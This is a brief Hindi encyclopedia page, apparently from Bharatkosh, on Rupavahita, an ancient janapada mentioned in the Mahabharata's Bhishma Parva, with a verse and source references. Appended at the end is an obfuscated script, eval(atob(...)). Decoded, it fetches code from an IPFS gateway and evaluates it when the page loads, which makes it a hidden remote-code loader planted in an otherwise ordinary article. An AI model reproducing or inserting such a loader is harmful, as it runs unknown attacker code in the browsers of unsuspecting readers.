एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

रूपवाहित

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

रूपवाहित अथवा 'रूपव हिक' नामक एक प्राचीन जनपद का उल्लेख महाभारत में हुआ है।[1] चि. वि. वैद्य के मत में यह वर्तमान महाराष्ट्र एक भाग था-

'कुंतयोऽवंत्यश्चैव तथैवा परकुंतयः, गोमंता मंडका: संडा विदर्भा रूपवाहिकाः।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 799 |
  2. महाभारत, भीष्मपर्व 9,43

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>